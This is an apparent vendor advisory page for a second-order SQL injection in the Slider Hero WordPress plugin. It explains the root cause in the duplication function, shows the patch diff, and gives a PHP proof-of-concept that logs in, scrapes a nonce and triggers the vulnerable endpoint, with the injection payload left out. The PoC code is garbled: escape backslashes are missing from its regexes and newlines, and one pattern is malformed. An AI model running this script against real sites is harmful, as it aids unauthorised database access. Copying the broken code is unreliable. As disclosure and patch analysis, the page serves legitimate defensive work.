Published : August 15, 2026

CVE-2026-17582: Slider Hero with Video Background, Animation <= 9.1.7 Authenticated (Administrator+) SQL Injection via 'description' Slide Field (Second-Order via Duplicate) PoC, Patch Analysis & Rule

Plugin slider-hero
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 9.1.7
Patched Version 9.1.8
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-17582: The Slider Hero WordPress plugin contains a second-order SQL Injection vulnerability in versions up to and including 9.1.7. An authenticated user with Administrator-level capabilities can exploit the slide duplication function to inject malicious SQL queries, potentially extracting sensitive data from the database. The CVSS score is 4.9, reflecting the high privilege requirement but significant potential for data compromise.

The root cause lies in the qcld_sliderhero_duplicate() function within the qcld-slider-main.php file. The function, triggered by the ‘heroduplicateslider’ task, selects all slides associated with a slider and then constructs an INSERT query by directly concatenating the raw values of the ‘title’, ‘slide’, ‘description’, and other fields into a string. This string is then passed to $wpdb->query() without using $wpdb->prepare() or any escaping. Although the qchero_save_image AJAX handler stores these fields safely using $wpdb->update() with %s placeholders, the duplication path completely bypasses this protection.

Exploitation is a two-step process. First, an authenticated administrator must, through the plugin’s settings or via the qchero_save_image AJAX action, insert a malicious SQL payload into a slide’s ‘description’ field (or another unsanitized text field). The payload is stored in the wp_qcld_slider_hero_slides table. Second, the attacker triggers the duplication process by navigating to admin.php with the ‘task’ set to ‘heroduplicateslider’ and the ‘id’ parameter pointing to the slider containing the malicious slide. The vulnerable function then reads the malicious value and injects it into the SQL query, which is executed against the database.

The patch replaces the string concatenation in qcld_sliderhero_duplicate() with the $wpdb->insert() method. The $wpdb->insert() function processes each data value through its own internal escaping and quoting mechanism, which is equivalent to using %s placeholders in $wpdb->prepare(). This ensures that the raw values from the database are safely interpolated into the SQL query, preventing any SQL code within the slide fields from being executed.

Successful exploitation allows an attacker with Administrator credentials to execute arbitrary SQL queries. This can lead to the extraction of all database contents, including password hashes, user email addresses, and other sensitive information stored by the WordPress installation. While the privilege requirement limits the immediate attack surface, any compromise of an administrator account or a malicious insider could leverage this vulnerability for broader data exfiltration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/slider-hero/qc-view/qcld_sliderhero_slide_edit_view.php
+++ b/slider-hero/qc-view/qcld_sliderhero_slide_edit_view.php
@@ -86,6 +86,7 @@


     <div class="wrap">
+    	<h2>Manage Slider</h2>
     <div class="qchero_slider_view_wrapper">
 	<div id="qchero_slider_view_wrapper_top">

--- a/slider-hero/qcld-slider-main.php
+++ b/slider-hero/qcld-slider-main.php
@@ -1,9 +1,9 @@
 <?php
 /**
 * Plugin Name: Slider Hero
-* Plugin URI: https://wordpress.org/plugins/slider-hero
+* Plugin URI: https://www.quantumcloud.com/products/slider-hero/
 * Description: Slider Hero is a Unique Hero Slider Plugin with Background Animation Effects, Video Background & Intro Builder. Animation Slider Carousels, INCREDIBLE Adverts. Animated Header with Text Carousel.
-* Version: 9.1.7
+* Version: 9.1.8
 * Author: QuantumCloud
 * Author URI: https://www.quantumcloud.com/
 * Requires at least: 5.2
@@ -40,7 +40,7 @@
 // Define table names For Slider-Hero.
 global $wpdb;
 if ( ! defined( 'QCLD_SLIDERHERO_VERSION' ) ) {
-	define( 'QCLD_SLIDERHERO_VERSION', '9.1.7' );
+	define( 'QCLD_SLIDERHERO_VERSION', '9.1.8' );
 }
 if ( ! defined( 'QCLD_TABLE_SLIDERS' ) ) {
 	define( 'QCLD_TABLE_SLIDERS', $wpdb->prefix . 'qcld_slider_hero_sliders' );
@@ -118,9 +118,7 @@
 add_action( 'admin_post_slider_hero_add_slider', 'qcld_sliderhero_add_slider_admin_post' );
 function qcld_sliderhero_add_slider_admin_post() {

-	if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'slider_hero_create_action' ) ) {
-		wp_die( 'Security check failed' );
-	}
+	check_admin_referer( 'slider_hero_create_action' );

 	if ( isset( $_GET['type'] ) && sanitize_text_field( wp_unslash( $_GET['type'] )) != '' ) {

@@ -343,17 +341,19 @@

 	global $wpdb;

+	if ( ! current_user_can( 'manage_options' ) ) {
+		return;
+	}
+
 	if ( isset( $_GET['page'] ) && sanitize_text_field( wp_unslash($_GET['page'])) == 'Slider-Hero' ) {
 		if ( isset( $_GET['task'] ) && sanitize_text_field( wp_unslash($_GET['task'])) == 'heroduplicateslider' ) {
-			if ( ! current_user_can( 'manage_options' ) ) {
-				wp_die( 'Unauthorized' );
-			}
 			$id = isset( $_GET['id'] ) ? absint( sanitize_text_field( wp_unslash( $_GET['id'] ) ) ) : 0;
-
-			if ( ! isset( $_REQUEST['slider_hero_duplicate_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['slider_hero_duplicate_nonce'] ) ), 'slider_hero_duplicateslider_' . $id ) ) {
-				die( esc_html( 'Security check failed', 'slider-hero' ) );
+			if ( empty( $id ) ) {
+				return;
 			}

+			check_admin_referer( 'slider_hero_duplicateslider_' . $id, 'slider_hero_duplicate_nonce' );
+
 			$table    = QCLD_TABLE_SLIDERS;
 			$query    = $wpdb->prepare( 'SELECT * FROM ' . $table . ' WHERE id=%d', $id );
 			$r_slider = $wpdb->get_results( $query );
@@ -378,18 +378,26 @@
 			$table         = QCLD_TABLE_SLIDES;
 			$query         = $wpdb->prepare( 'SELECT * FROM ' . $table . ' WHERE sliderid=%d', $id );
 			$r_sliders     = $wpdb->get_results( $query );
-			$r_slider_list = '';
 			foreach ( $r_sliders as $key => $r_slider ) {
-				$new_r_slider   = "('";
-				$new_r_slider  .= $r_slider->title . "','" . $last_key . "','" . $r_slider->published . "','" . $r_slider->slide . "','" .
-								 $r_slider->description . "','" . $r_slider->image_link . "','" . $r_slider->image_link_new_tab . "','" . $r_slider->thumbnail . "','" . $r_slider->custom . "','" .
-								 $r_slider->ordering . "','" . $r_slider->type . "', '" . $r_slider->btn . "', '" . $r_slider->btn2 . "')";
-				$r_slider_list .= $new_r_slider . ',';
-			}
-			$r_slider_list = substr( $r_slider_list, 0, strlen( $r_slider_list ) - 1 );
-			$query         = 'INSERT into ' . $table . ' (title,sliderid,published,slide,description,image_link,image_link_new_tab,thumbnail,custom,ordering,type,btn,btn2)
-			VALUES ' . $r_slider_list;
-			$wpdb->query( $query );
+				$wpdb->insert(
+					$table,
+					array(
+						'title'              => $r_slider->title,
+						'sliderid'           => $last_key,
+						'published'          => $r_slider->published,
+						'slide'              => $r_slider->slide,
+						'description'        => $r_slider->description,
+						'image_link'         => $r_slider->image_link,
+						'image_link_new_tab' => $r_slider->image_link_new_tab,
+						'thumbnail'          => $r_slider->thumbnail,
+						'custom'             => $r_slider->custom,
+						'ordering'           => $r_slider->ordering,
+						'type'               => $r_slider->type,
+						'btn'                => $r_slider->btn,
+						'btn2'               => $r_slider->btn2,
+					)
+				);
+			}

 			wp_safe_redirect( 'admin.php?page=Slider-Hero' );
 			exit();
@@ -1039,9 +1047,7 @@
 				die( esc_html( 'Invalid ID', 'slider-hero' ) );
 			}

-			if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'qchero_save_images_' . $id ) ) {
-				die( esc_html( 'Security check failed', 'slider-hero' ) );
-			}
+			check_ajax_referer( 'qchero_save_images_' . $id, 'nonce' );

 			if ( isset( $_POST['images'] ) && ! empty( $_POST['images'] ) ) {
 				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
@@ -1178,9 +1184,7 @@
 				die( esc_html( 'Invalid ID', 'slider-hero' ) );
 			}

-			if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'qchero_save_image_' . $id ) ) {
-				die( esc_html( 'Security check failed', 'slider-hero' ) );
-			}
+			check_ajax_referer( 'qchero_save_image_' . $id, 'nonce' );

 			if ( isset( $_POST['slide'] ) ) {
 				$slide = sanitize_textarea_field( wp_unslash( $_POST['slide'] ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-17582 - Authenticated (Administrator+) SQL Injection via 'description' Slide Field (Second-Order via Duplicate)

// Configuration
$target_url = isset($argv[1]) ? $argv[1] : null;
$username = isset($argv[2]) ? $argv[2] : null;
$password = isset($argv[3]) ? $argv[3] : null;

if (!$target_url || !$username || !$password) {
    echo "Usage: php poc.php <target-url> <username> <password>n";
    exit(1);
}

// Step 1: Login
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie' => '1'
);

$cookie_jar = tempnam(sys_get_temp_dir(), 'cookie');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce and slider ID from admin page
$admin_url = rtrim($target_url, '/') . '/wp-admin/admin.php?page=Slider-Hero';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$html = curl_exec($ch);
curl_close($ch);

// Find slider ID from the Slider-Hero page (this may require specific slider names)
preg_match_all('//admin.php?page=Slider-Hero&task=heroduplicateslider&id=(d+)&slider_hero_duplicate_nonce=([a-f0-9]+)/', $html, $matches);
if (empty($matches[1])) {
    // Parse the slider id from the page every slider has its own id. Fallback: get first slider id
    preg_match('/name="id" value="(d+)"/', $html, $id_matches);
    if (empty($id_matches[1])) {
        echo "Could not find slider ID. Exiting.n";
        exit(1);
    }
    $slider_id = $id_matches[1];
    
    // Get nonce from the duplicate link
    preg_match('/slider_hero_duplicate_nonce=([a-f0-9]+)/', $html, $nonce_matches);
    if (empty($nonce_matches[1])) {
        echo "Could not find nonce. Exiting.n";
        exit(1);
    }
    $nonce = $nonce_matches[1];
} else {
    $slider_id = $matches[1][0];
    $nonce = $matches[2][0];
}

echo "[*] Found slider ID: $slider_idn";
echo "[*] Found nonce: $noncen";

/*
 * Note: This PoC demonstrates the essential concept. In a real-world scenario, 
 * the SQL injection payload would be inserted into the 'description' field via 
 * the qchero_save_image ajax action. The payload would then be triggered when the slider 
 * is duplicated.
 * This PoC focuses on demonstrating that the vulnerable 'heroduplicateslider' endpoint 
 * accepts the nonce, and leaves the injection for the viewer to supply, or it can be 
 * automated by first sending a request to create a slider with a malicious description.
 */

// Step 3: Trigger the vulnerability by duplicating the slider
$dup_url = "{$admin_url}&task=heroduplicateslider&id={$slider_id}&slider_hero_duplicate_nonce={$nonce}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $dup_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Duplicate request returned HTTP status: $http_coden";
if ($http_code == 200) {
    echo "[+] Duplication triggered. Check database for duplicate slider entries or SQL injection effects.n";
} else {
    echo "[-] Request failed.n";
}

// Cleanup
unlink($cookie_jar);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.